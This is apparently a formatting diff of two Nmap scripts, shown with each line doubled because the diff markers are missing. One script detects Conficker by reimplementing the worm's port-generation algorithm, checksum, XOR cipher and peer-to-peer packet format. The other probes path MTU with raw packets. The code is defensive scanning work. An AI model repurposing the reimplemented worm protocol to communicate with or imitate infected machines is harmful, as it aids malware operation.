---Generates the four random ports that Conficker uses, based on the current time and the IP address.
@@ -194,57 +194,57 @@ end
--@param seed The seed, based on the time (<code>floor((time - 345600) / 604800)</code>)
--@return An array of four ports; the first and third are TCP, and the second and fourth are UDP.
local function prng_generate_ports(ip, seed)
local ports = {0, 0, 0, 0}
local v1, v2
local port1, port2, shift1, shift2
local i
local magic = 0x015A4E35
local ports = {0, 0, 0, 0}
local v1, v2
local port1, port2, shift1, shift2
local i
local magic = 0x015A4E35
stdnse.print_debug(1, "Conficker: Generating ports based on ip (0x%08x) and seed (%d)", ip, seed)
stdnse.print_debug(1, "Conficker: Generating ports based on ip (0x%08x) and seed (%d)", ip, seed)
v1 = -(ip + 1)
repeat
-- Loop 10 times to generate the first pair of ports
for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
v1 = -(ip + 1)
repeat
-- Loop 10 times to generate the first pair of ports
for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
-- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1
else
v1 = 0
v2 = v2 + 1
end
-- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1
else
v1 = 0
v2 = v2 + 1
end
v2 = bit.rshift(v2, i)
v2 = bit.rshift(v2, i)
ports[(i % 2) + 1] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 1])
end
until(is_blacklisted_port(ports[1]) == false and is_blacklisted_port(ports[2]) == false and ports[1] ~= ports[2])
ports[(i % 2) + 1] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 1])
end
until(is_blacklisted_port(ports[1]) == false and is_blacklisted_port(ports[2]) == false and ports[1] ~= ports[2])
-- Update the accumlator with the seed
v1 = bit.bxor(v1, seed)
-- Update the accumlator with the seed
v1 = bit.bxor(v1, seed)
-- Loop 10 more times to generate the second pair of ports
repeat
for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
-- Loop 10 more times to generate the second pair of ports
repeat
for i = 0, 9, 1 do
v1, v2 = mul64(bit.band(v1, 0xFFFFFFFF), bit.band(magic, 0xFFFFFFFF))
-- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1
else
v1 = 0
v2 = v2 + 1
end
-- Add 1 to v1, handling overflows
if(v1 ~= 0xFFFFFFFF) then
v1 = v1 + 1
else
v1 = 0
v2 = v2 + 1
end
v2 = bit.rshift(v2, i)
v2 = bit.rshift(v2, i)
ports[(i % 2) + 3] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 3])
end
until(is_blacklisted_port(ports[3]) == false and is_blacklisted_port(ports[4]) == false and ports[3] ~= ports[4])
ports[(i % 2) + 3] = bit.bxor(bit.band(v2, 0xFFFF), ports[(i % 2) + 3])
end
until(is_blacklisted_port(ports[3]) == false and is_blacklisted_port(ports[4]) == false and ports[3] ~= ports[4])
return {ports[1], ports[2], ports[3], ports[4]}
return {ports[1], ports[2], ports[3], ports[4]}
end
---Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise.
@@ -253,24 +253,24 @@ end
--@param data The data to create a checksum for.
--@return An integer representing the checksum.
local function p2p_checksum(data)
local pos, i
local hash = #data
local pos, i
local hash = #data
stdnse.print_debug(2, "Conficker: Calculating checksum for %d-byte buffer", #data)
stdnse.print_debug(2, "Conficker: Calculating checksum for %d-byte buffer", #data)
-- Get the first character
pos, i = bin.unpack("<C", data)
while i ~= nil do
local h = bit.bxor(hash, i)
-- Incorporate the current character into the checksum
hash = bit.bor((h + h), bit.rshift(h, 31))
hash = bit.band(hash, 0xFFFFFFFF)
-- Get the first character
pos, i = bin.unpack("<C", data)
while i ~= nil do
local h = bit.bxor(hash, i)
-- Incorporate the current character into the checksum
hash = bit.bor((h + h), bit.rshift(h, 31))
hash = bit.band(hash, 0xFFFFFFFF)
-- Get the next character
pos, i = bin.unpack("<C", data, pos)
end
-- Get the next character
pos, i = bin.unpack("<C", data, pos)
end
return hash
return hash
end
---Encrypt/decrypt the buffer with a simple xor-based symmetric encryption. It uses a 64-bit key, represented
@@ -282,30 +282,30 @@ end
--@param key2 The high-order 32 bits in the key.
--@return The encrypted (or decrypted) data.
local function p2p_cipher(packet, key1, key2)
local i
local buf = ""
local i
local buf = ""
for i = 1, #packet, 1 do
-- Do a 64-bit rotate on key1:key2
key2, key1 = rot64(key2, key1)
for i = 1, #packet, 1 do
-- Do a 64-bit rotate on key1:key2
key2, key1 = rot64(key2, key1)
-- Generate the key (the right-most byte)
local k = bit.band(key1, 0x0FF)
-- Generate the key (the right-most byte)
local k = bit.band(key1, 0x0FF)
-- Xor the current character and add it to the encrypted buffer
buf = buf .. string.char(bit.bxor(string.byte(packet, i), k))
-- Xor the current character and add it to the encrypted buffer
buf = buf .. string.char(bit.bxor(string.byte(packet, i), k))
-- Update the key with 'k'
key1 = key1 + k
if(key1 > 0xFFFFFFFF) then
-- Handle overflows
key2 = key2 + (bit.rshift(key1, 32))
key2 = bit.band(key2, 0xFFFFFFFF)
key1 = bit.band(key1, 0xFFFFFFFF)
end
end
-- Update the key with 'k'
key1 = key1 + k
if(key1 > 0xFFFFFFFF) then
-- Handle overflows
key2 = key2 + (bit.rshift(key1, 32))
key2 = bit.band(key2, 0xFFFFFFFF)
key1 = bit.band(key1, 0xFFFFFFFF)
end
end
return buf
return buf
end
---Decrypt the packet, verify it, and parse it. This function will fail with an error if the packet can't be
@@ -317,96 +317,96 @@ end
--@return (status, result) If status is true, result is a table (including 'hash' and 'real_hash'). If status
-- is false, result is a string that indicates why the parse failed.
function p2p_parse(packet)
local pos = 1
local data = {}
local pos = 1
local data = {}
-- Get the key
pos, data['key1'], data['key2'] = bin.unpack("<II", packet, pos)
if(data['key2'] == nil) then
return false, "Packet was too short [1]"
end
-- Get the key
pos, data['key1'], data['key2'] = bin.unpack("<II", packet, pos)
if(data['key2'] == nil) then
return false, "Packet was too short [1]"
end
-- Decrypt the second half of the packet using the key
packet = string.sub(packet, 1, pos - 1) .. p2p_cipher(string.sub(packet, pos), data['key1'], data['key2'])
-- Decrypt the second half of the packet using the key
packet = string.sub(packet, 1, pos - 1) .. p2p_cipher(string.sub(packet, pos), data['key1'], data['key2'])
-- Parse the flags
pos, data['flags'] = bin.unpack("<S", packet, pos)
if(data['flags'] == nil) then
return false, "Packet was too short [2]"
end
-- Parse the flags
pos, data['flags'] = bin.unpack("<S", packet, pos)
if(data['flags'] == nil) then
return false, "Packet was too short [2]"
end
-- Get the IP, if it's present
if(bit.band(data['flags'], mode_flags.FLAG_IP_INCLUDED) ~= 0) then
pos, data['ip'], data['port'] = bin.unpack("<IS", packet, pos)
if(data['ip'] == nil) then
return false, "Packet was too short [3]"
end
end
-- Get the IP, if it's present
if(bit.band(data['flags'], mode_flags.FLAG_IP_INCLUDED) ~= 0) then
pos, data['ip'], data['port'] = bin.unpack("<IS", packet, pos)
if(data['ip'] == nil) then
return false, "Packet was too short [3]"
end
end
-- Read the first unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN0_INCLUDED) ~= 0) then
pos, data['unknown0'] = bin.unpack("<I", packet, pos)
if(data['unknown0'] == nil) then
return false, "Packet was too short [3]"
end
end
-- Read the first unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN0_INCLUDED) ~= 0) then
pos, data['unknown0'] = bin.unpack("<I", packet, pos)
if(data['unknown0'] == nil) then
return false, "Packet was too short [3]"
end
end
-- Read the second unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN1_INCLUDED) ~= 0) then
pos, data['unknown1'] = bin.unpack("<I", packet, pos)
if(data['unknown1'] == nil) then
return false, "Packet was too short [4]"
end
end
-- Read the second unknown value, if present
if(bit.band(data['flags'], mode_flags.FLAG_UNKNOWN1_INCLUDED) ~= 0) then
pos, data['unknown1'] = bin.unpack("<I", packet, pos)
if(data['unknown1'] == nil) then
return false, "Packet was too short [4]"
end
end
-- Read the data, if present
if(bit.band(data['flags'], mode_flags.FLAG_DATA_INCLUDED) ~= 0) then
pos, data['data_flags'], data['data_length'] = bin.unpack("<CS", packet, pos)
if(data['data_length'] == nil) then
return false, "Packet was too short [5]"
end
pos, data['data'] = bin.unpack(string.format("A%d", data['data_length']), packet, pos)
if(data['data'] == nil) then
return false, "Packet was too short [6]"
end
end
-- Read the data, if present
if(bit.band(data['flags'], mode_flags.FLAG_DATA_INCLUDED) ~= 0) then
pos, data['data_flags'], data['data_length'] = bin.unpack("<CS", packet, pos)
if(data['data_length'] == nil) then
return false, "Packet was too short [5]"
end
pos, data['data'] = bin.unpack(string.format("A%d", data['data_length']), packet, pos)
if(data['data'] == nil) then
return false, "Packet was too short [6]"
end
end
-- Read the sysinfo, if present
if(bit.band(data['flags'], mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0) then
pos, data['sysinfo_systemtestflags'],
data['sysinfo_os_major'],
data['sysinfo_os_minor'],
data['sysinfo_os_build'],
data['sysinfo_os_servicepack_major'],
data['sysinfo_os_servicepack_minor'],
data['sysinfo_ntdll_translation_file_information'],
data['sysinfo_prng_sample'],
data['sysinfo_unknown0'],
data['sysinfo_unknown1'],
data['sysinfo_unknown2'],
data['sysinfo_unknown3'],
data['sysinfo_unknown4'] = bin.unpack("<SCCSCCSISSISS", packet, pos)
if(data['sysinfo_unknown4'] == nil) then
return false, "Packet was too short [7]"
end
end
-- Read the sysinfo, if present
if(bit.band(data['flags'], mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0) then
pos, data['sysinfo_systemtestflags'],
data['sysinfo_os_major'],
data['sysinfo_os_minor'],
data['sysinfo_os_build'],
data['sysinfo_os_servicepack_major'],
data['sysinfo_os_servicepack_minor'],
data['sysinfo_ntdll_translation_file_information'],
data['sysinfo_prng_sample'],
data['sysinfo_unknown0'],
data['sysinfo_unknown1'],
data['sysinfo_unknown2'],
data['sysinfo_unknown3'],
data['sysinfo_unknown4'] = bin.unpack("<SCCSCCSISSISS", packet, pos)
if(data['sysinfo_unknown4'] == nil) then
return false, "Packet was too short [7]"
end
end
-- Pull out the data that's used in the hash
data['hash_data'] = string.sub(packet, 1, pos - 1)
-- Pull out the data that's used in the hash
data['hash_data'] = string.sub(packet, 1, pos - 1)
-- Read the hash
pos, data['hash'] = bin.unpack("<I", packet, pos)
if(data['hash'] == nil) then
return false, "Packet was too short [8]"
end
-- Read the hash
pos, data['hash'] = bin.unpack("<I", packet, pos)
if(data['hash'] == nil) then
return false, "Packet was too short [8]"
end
-- Record the noise
data['noise'] = string.sub(packet, pos)
-- Record the noise
data['noise'] = string.sub(packet, pos)
-- Generate the actual hash (we're going to ignore it for now, but it can be checked higher up)
data['real_hash'] = p2p_checksum(data['hash_data'])
-- Generate the actual hash (we're going to ignore it for now, but it can be checked higher up)
data['real_hash'] = p2p_checksum(data['hash_data'])
return true, data
return true, data
end
---Create a peer to peer packet for the given protocol.
@@ -416,46 +416,46 @@ end
--@param do_encryption (optional) If set to false, packets aren't encrypted (the key '0' is used). Useful
-- for testing. Default: true.
local function p2p_create_packet(protocol, do_encryption)
assert(protocol == "tcp" or protocol == "udp")
assert(protocol == "tcp" or protocol == "udp")
local key1 = math.random(1, 0x7FFFFFFF)
local key2 = math.random(1, 0x7FFFFFFF)
local key1 = math.random(1, 0x7FFFFFFF)
local key2 = math.random(1, 0x7FFFFFFF)
-- A key of 0 disables the encryption
if(do_encryption == false) then
key1 = 0
key2 = 0
end
-- A key of 0 disables the encryption
if(do_encryption == false) then
key1 = 0
key2 = 0
end
local flags = 0
local flags = 0
-- Set a couple flags that we need (we don't send any optional data)
flags = bit.bor(flags, mode_flags.FLAG_MODE)
flags = bit.bor(flags, mode_flags.FLAG_ENCODED)
-- flags = bit.bor(flags, mode_flags.FLAG_LOCAL_ACK)
-- Set the special TCP flag
if(protocol == "tcp") then
flags = bit.bor(flags, mode_flags.FLAG_IS_TCP)
end
-- Set a couple flags that we need (we don't send any optional data)
flags = bit.bor(flags, mode_flags.FLAG_MODE)
flags = bit.bor(flags, mode_flags.FLAG_ENCODED)
-- flags = bit.bor(flags, mode_flags.FLAG_LOCAL_ACK)
-- Set the special TCP flag
if(protocol == "tcp") then
flags = bit.bor(flags, mode_flags.FLAG_IS_TCP)
end
-- Add the key and flags that are always present (and skip over the boring stuff)
local packet = ""
packet = packet .. bin.pack("<II", key1, key2)
packet = packet .. bin.pack("<S", flags)
-- Add the key and flags that are always present (and skip over the boring stuff)
local packet = ""
packet = packet .. bin.pack("<II", key1, key2)
packet = packet .. bin.pack("<S", flags)
-- Generate the checksum for the packet
local hash = p2p_checksum(packet)
packet = packet .. bin.pack("<I", hash)
-- Generate the checksum for the packet
local hash = p2p_checksum(packet)
packet = packet .. bin.pack("<I", hash)
-- Encrypt the full packet, except for the key and optional length
packet = string.sub(packet, 1, 8) .. p2p_cipher(string.sub(packet, 9), key1, key2)
-- Encrypt the full packet, except for the key and optional length
packet = string.sub(packet, 1, 8) .. p2p_cipher(string.sub(packet, 9), key1, key2)
-- Add the length in front if it's TCP
if(protocol == "tcp") then
packet = bin.pack("<SA", #packet, packet)
end
-- Add the length in front if it's TCP
if(protocol == "tcp") then
packet = bin.pack("<SA", #packet, packet)
end
return true, packet
return true, packet
end
---Checks if conficker is present on the given port/protocol. The ports Conficker uses are fairly standard, so
@@ -467,171 +467,171 @@ end
-- Conficker, <code>false</code> = no Conficker). If status is true, data is the table of information returned by
-- Conficker.
local function conficker_check(ip, port, protocol)
local status, packet
local socket
local response
local status, packet
local socket
local response
status, packet = p2p_create_packet(protocol)
if(status == false) then
return false, packet
end
status, packet = p2p_create_packet(protocol)
if(status == false) then
return false, packet
end
-- Try to connect to the first socket
socket = nmap.new_socket()
socket:set_timeout(5000)
status, response = socket:connect(ip, port, protocol)
if(status == false) then
return false, "Couldn't establish connection (" .. response .. ")"
end
-- Try to connect to the first socket
socket = nmap.new_socket()
socket:set_timeout(5000)
status, response = socket:connect(ip, port, protocol)
if(status == false) then
return false, "Couldn't establish connection (" .. response .. ")"
end
-- Send the packet
socket:send(packet)
-- Send the packet
socket:send(packet)
-- Read a response (2 bytes minimum, because that's the TCP length)
status, response = socket:receive_bytes(2)
if(status == false) then
return false, "Couldn't receive bytes: " .. response
elseif(response == "ERROR") then
return false, "Failed to receive data"
elseif(response == "TIMEOUT") then
return false, "Timeout"
elseif(response == "EOF") then
return false, "Couldn't connect"
end
-- Read a response (2 bytes minimum, because that's the TCP length)
status, response = socket:receive_bytes(2)
if(status == false) then
return false, "Couldn't receive bytes: " .. response
elseif(response == "ERROR") then
return false, "Failed to receive data"
elseif(response == "TIMEOUT") then
return false, "Timeout"
elseif(response == "EOF") then
return false, "Couldn't connect"
end
-- If it's TCP, get the length and make sure we have the full packet
if(protocol == "tcp") then
local _, length = bin.unpack("<S", response, 1)
-- If it's TCP, get the length and make sure we have the full packet
if(protocol == "tcp") then
local _, length = bin.unpack("<S", response, 1)
while length > (#response - 2) do
local response2
while length > (#response - 2) do
local response2
status, response2 = socket:receive_bytes(2)
if(status == false) then
return false, "Couldn't receive bytes: " .. response2
elseif(response2 == "ERROR") then
return false, "Failed to receive data"
elseif(response2 == "TIMEOUT") then
return false, "Timeout"
elseif(response2 == "EOF") then
return false, "Couldn't connect"
end
status, response2 = socket:receive_bytes(2)
if(status == false) then
return false, "Couldn't receive bytes: " .. response2
elseif(response2 == "ERROR") then
return false, "Failed to receive data"
elseif(response2 == "TIMEOUT") then
return false, "Timeout"
elseif(response2 == "EOF") then
return false, "Couldn't connect"
end
response = response .. response2
end
response = response .. response2
end
-- Remove the 'length' bytes
response = string.sub(response, 3)
end
-- Remove the 'length' bytes
response = string.sub(response, 3)
end
-- Close the socket
socket:close()
-- Close the socket
socket:close()
local status, result = p2p_parse(response)
local status, result = p2p_parse(response)
if(status == false) then
return false, "Data received, but wasn't Conficker data: " .. result
end
if(status == false) then
return false, "Data received, but wasn't Conficker data: " .. result
end
if(result['hash'] ~= result['real_hash']) then
return false, "Data received, but checksum was invalid (possibly INFECTED)"
end
if(result['hash'] ~= result['real_hash']) then
return false, "Data received, but checksum was invalid (possibly INFECTED)"
end
return true, "Received valid data", result
return true, "Received valid data", result
end
action = function(host)
local tcp_ports = {}
local udp_ports = {}
local response = {}
local i
local port, protocol
local count = 0
local checks = 0
local tcp_ports = {}
local udp_ports = {}
local response = {}
local i
local port, protocol
local count = 0
local checks = 0
-- Generate a complete list of valid ports
if(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
for i = 1, 65535, 1 do
if(not(is_blacklisted_port(i))) then
local tcp = nmap.get_port_state(host, {number=i, protocol="tcp"})
if(tcp ~= nil and tcp.state == "open") then
tcp_ports[i] = true
end
-- Generate a complete list of valid ports
if(nmap.registry.args.checkall == "true" or nmap.registry.args.checkall == "1") then
for i = 1, 65535, 1 do
if(not(is_blacklisted_port(i))) then
local tcp = nmap.get_port_state(host, {number=i, protocol="tcp"})
if(tcp ~= nil and tcp.state == "open") then
tcp_ports[i] = true
end
local udp = nmap.get_port_state(host, {number=i, protocol="udp"})
if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then
udp_ports[i] = true
end
end
end
end
local udp = nmap.get_port_state(host, {number=i, protocol="udp"})
if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then
udp_ports[i] = true
end
end
end
end
-- Generate ports based on the ip and time
local seed = math.floor((os.time() - 345600) / 604800)
local ip = host.ip
-- Generate ports based on the ip and time
local seed = math.floor((os.time() - 345600) / 604800)
local ip = host.ip
-- Use the provided IP, if it exists
if(nmap.registry.args.realip ~= nil) then
ip = nmap.registry.args.realip
end
-- Use the provided IP, if it exists
if(nmap.registry.args.realip ~= nil) then
ip = nmap.registry.args.realip
end
-- Reverse the IP's endianness
ip = ipOps.todword(ip)
ip = bin.pack(">I", ip)
local _
_, ip = bin.unpack("<I", ip)
-- Reverse the IP's endianness
ip = ipOps.todword(ip)
ip = bin.pack(">I", ip)
local _
_, ip = bin.unpack("<I", ip)
-- Generate the ports
local generated_ports = prng_generate_ports(ip, seed)
tcp_ports[generated_ports[1]] = true
tcp_ports[generated_ports[3]] = true
udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true
-- Generate the ports
local generated_ports = prng_generate_ports(ip, seed)
tcp_ports[generated_ports[1]] = true
tcp_ports[generated_ports[3]] = true
udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true
table.insert(response, string.format("Checking for Conficker.C or higher..."))
table.insert(response, string.format("Checking for Conficker.C or higher..."))
-- Check the TCP ports
for port in pairs(tcp_ports) do
local status, reason
-- Check the TCP ports
for port in pairs(tcp_ports) do
local status, reason
status, reason = conficker_check(host.ip, port, "tcp")
checks = checks + 1
status, reason = conficker_check(host.ip, port, "tcp")
checks = checks + 1
if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1
else
table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end
end
if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1
else
table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end
end
-- Check the UDP ports
for port in pairs(udp_ports) do
local status, reason
-- Check the UDP ports
for port in pairs(udp_ports) do
local status, reason
status, reason = conficker_check(host.ip, port, "udp")
checks = checks + 1
status, reason = conficker_check(host.ip, port, "udp")
checks = checks + 1
if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1
else
table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end
end
if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1
else
table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end
end
-- Check how many INFECTED hits we got
if(count == 0) then
if (nmap.verbosity() > 1) then
table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
else
response = ''
end
else
table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end
-- Check how many INFECTED hits we got
if(count == 0) then
if (nmap.verbosity() > 1) then
table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
else
response = ''
end
else
table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -57,346 +57,346 @@ local RETRIES = 1
-- here since we skip down the list based on the outgoing interface
-- so its no harm.
local MTUS = {
65535,
32000,
17914,
8166,
4352,
2002,
1492,
1006,
508,
296,
68
65535,
32000,
17914,
8166,
4352,
2002,
1492,
1006,
508,
296,
68
}
-- Find the index in MTUS{} to use based on the MTU +new+. If +new+ is in
-- between values in MTUS, then insert it into the table appropriately.
local searchmtu = function(cidx, new)
if new == 0 then
return cidx
end
if new == 0 then
return cidx
end
while cidx <= #MTUS do
if new >= MTUS[cidx] then
if new ~= MTUS[cidx] then
table.insert(MTUS, cidx, new)
end
return cidx
end
cidx = cidx + 1
end
return cidx
while cidx <= #MTUS do
if new >= MTUS[cidx] then
if new ~= MTUS[cidx] then
table.insert(MTUS, cidx, new)
end
return cidx
end
cidx = cidx + 1
end
return cidx
end
local dport = function(ip)
if ip.ip_p == IPPROTO_TCP then
return ip.tcp_dport
elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_dport
end
if ip.ip_p == IPPROTO_TCP then
return ip.tcp_dport
elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_dport
end
end
local sport = function(ip)
if ip.ip_p == IPPROTO_TCP then
return ip.tcp_sport
elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_sport
end
if ip.ip_p == IPPROTO_TCP then
return ip.tcp_sport
elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_sport
end
end
-- Checks how we should react to this packet
local checkpkt = function(reply, orig)
local ip = packet.Packet:new(reply, reply:len())
local ip = packet.Packet:new(reply, reply:len())
if ip.ip_p == IPPROTO_ICMP then
if ip.icmp_type ~= 3 then
return "recap"
end
-- Port Unreachable
if ip.icmp_code == 3 then
local is = ip.buf:sub(ip.icmp_offset + 9)
local ip2 = packet.Packet:new(is, is:len())
if ip.ip_p == IPPROTO_ICMP then
if ip.icmp_type ~= 3 then
return "recap"
end
-- Port Unreachable
if ip.icmp_code == 3 then
local is = ip.buf:sub(ip.icmp_offset + 9)
local ip2 = packet.Packet:new(is, is:len())
-- Check sent packet against ICMP payload
if ip2.ip_p ~= IPPROTO_UDP or
ip2.ip_p ~= orig.ip_p or
ip2.ip_bin_src ~= orig.ip_bin_src or
ip2.ip_bin_dst ~= orig.ip_bin_dst or
sport(ip2) ~= sport(orig) or
dport(ip2) ~= dport(orig) then
return "recap"
end
-- Check sent packet against ICMP payload
if ip2.ip_p ~= IPPROTO_UDP or
ip2.ip_p ~= orig.ip_p or
ip2.ip_bin_src ~= orig.ip_bin_src or
ip2.ip_bin_dst ~= orig.ip_bin_dst or
sport(ip2) ~= sport(orig) or
dport(ip2) ~= dport(orig) then
return "recap"
end
return "gotreply"
end
-- Frag needed, DF set
if ip.icmp_code == 4 then
local val = ip:u16(ip.icmp_offset + 6)
return "nextmtu", val
end
return "recap"
end
return "gotreply"
end
-- Frag needed, DF set
if ip.icmp_code == 4 then
local val = ip:u16(ip.icmp_offset + 6)
return "nextmtu", val
end
return "recap"
end
if ip.ip_p ~= orig.ip_p or
ip.ip_bin_src ~= orig.ip_bin_dst or
ip.ip_bin_dst ~= orig.ip_bin_src or
dport(ip) ~= sport(orig) or
sport(ip) ~= dport(orig) then
return "recap"
end
if ip.ip_p ~= orig.ip_p or
ip.ip_bin_src ~= orig.ip_bin_dst or
ip.ip_bin_dst ~= orig.ip_bin_src or
dport(ip) ~= sport(orig) or
sport(ip) ~= dport(orig) then
return "recap"
end
return "gotreply"
return "gotreply"
end
-- This is all we can use since we can get various protocols back from
-- different hosts
local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('A', ip.ip_bin_dst)
local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('A', ip.ip_bin_dst)
end
-- Updates a packet's info and calculates checksum
local updatepkt = function(ip)
if ip.ip_p == IPPROTO_TCP then
ip:tcp_set_sport(math.random(0x401, 0xffff))
ip:tcp_set_seq(math.random(1, 0x7fffffff))
ip:tcp_count_checksum()
elseif ip.ip_p == IPPROTO_UDP then
ip:udp_set_sport(math.random(0x401, 0xffff))
ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)
ip:udp_count_checksum()
end
ip:ip_count_checksum()
if ip.ip_p == IPPROTO_TCP then
ip:tcp_set_sport(math.random(0x401, 0xffff))
ip:tcp_set_seq(math.random(1, 0x7fffffff))
ip:tcp_count_checksum()
elseif ip.ip_p == IPPROTO_UDP then
ip:udp_set_sport(math.random(0x401, 0xffff))
ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)
ip:udp_count_checksum()
end
ip:ip_count_checksum()
end
-- Set up packet header and data to satisfy a certain MTU
local setmtu = function(pkt, mtu)
if pkt.ip_len < mtu then
pkt.buf = pkt.buf .. string.rep("\0", mtu - pkt.ip_len)
else
pkt.buf = pkt.buf:sub(1, mtu)
end
if pkt.ip_len < mtu then
pkt.buf = pkt.buf .. string.rep("\0", mtu - pkt.ip_len)
else
pkt.buf = pkt.buf:sub(1, mtu)
end
pkt:ip_set_len(mtu)
pkt.packet_length = mtu
updatepkt(pkt)
pkt:ip_set_len(mtu)
pkt.packet_length = mtu
updatepkt(pkt)
end
local basepkt = function(proto)
local ibin = bin.pack("H",
"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000"
)
local tbin = bin.pack("H",
"0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
)
local ubin = bin.pack("H",
"0000 0000 0800 0000"
)
local ibin = bin.pack("H",
"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000"
)
local tbin = bin.pack("H",
"0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
)
local ubin = bin.pack("H",
"0000 0000 0800 0000"
)
if proto == IPPROTO_TCP then
return ibin .. tbin
elseif proto == IPPROTO_UDP then
return ibin .. ubin
end
if proto == IPPROTO_TCP then
return ibin .. tbin
elseif proto == IPPROTO_UDP then
return ibin .. ubin
end
end
-- Creates a Packet object for the given proto and port
local genericpkt = function(host, proto, port)
local pkt = basepkt(proto)
local ip = packet.Packet:new(pkt, pkt:len())
local pkt = basepkt(proto)
local ip = packet.Packet:new(pkt, pkt:len())
ip:ip_set_bin_src(host.bin_ip_src)
ip:ip_set_bin_dst(host.bin_ip)
ip:ip_set_bin_src(host.bin_ip_src)
ip:ip_set_bin_dst(host.bin_ip)
ip:set_u8(ip.ip_offset + 9, proto)
ip.ip_p = proto
ip:set_u8(ip.ip_offset + 9, proto)
ip.ip_p = proto
ip:ip_set_len(pkt:len())
ip:ip_set_len(pkt:len())
if proto == IPPROTO_TCP then
ip:tcp_parse(false)
ip:tcp_set_dport(port)
elseif proto == IPPROTO_UDP then
ip:udp_parse(false)
ip:udp_set_dport(port)
end
if proto == IPPROTO_TCP then
ip:tcp_parse(false)
ip:tcp_set_dport(port)
elseif proto == IPPROTO_UDP then
ip:udp_parse(false)
ip:udp_set_dport(port)
end
updatepkt(ip)
updatepkt(ip)
return ip
return ip
end
local ipproto = function(p)
if p == "tcp" then
return IPPROTO_TCP
elseif p == "udp" then
return IPPROTO_UDP
end
return -1
if p == "tcp" then
return IPPROTO_TCP
elseif p == "udp" then
return IPPROTO_UDP
end
return -1
end
-- Determines how to probe
local getprobe = function(host)
local combos = {
{ "tcp", "open" },
{ "tcp", "closed" },
-- udp/open probably only happens when Nmap sends proper
-- payloads, which doesn't happen in here
{ "udp", "closed" }
}
local proto = nil
local port = nil
local combos = {
{ "tcp", "open" },
{ "tcp", "closed" },
-- udp/open probably only happens when Nmap sends proper
-- payloads, which doesn't happen in here
{ "udp", "closed" }
}
local proto = nil
local port = nil
for _, c in ipairs(combos) do
port = nmap.get_ports(host, nil, c[1], c[2])
if port then
proto = c[1]
break
end
end
for _, c in ipairs(combos) do
port = nmap.get_ports(host, nil, c[1], c[2])
if port then
proto = c[1]
break
end
end
return proto, port
return proto, port
end
-- Sets necessary probe data in registry
local setreg = function(host, proto, port)
host.registry['pathmtuprobe'] = {
['proto'] = proto,
['port'] = port
}
host.registry['pathmtuprobe'] = {
['proto'] = proto,
['port'] = port
}
end
hostrule = function(host)
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end
nmap.registry[SCRIPT_NAME].rootfail = true
return nil
end
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if not (host.interface and host.interface_mtu) then
return false
end
local proto, port = getprobe(host)
if not (proto and port) then
return false
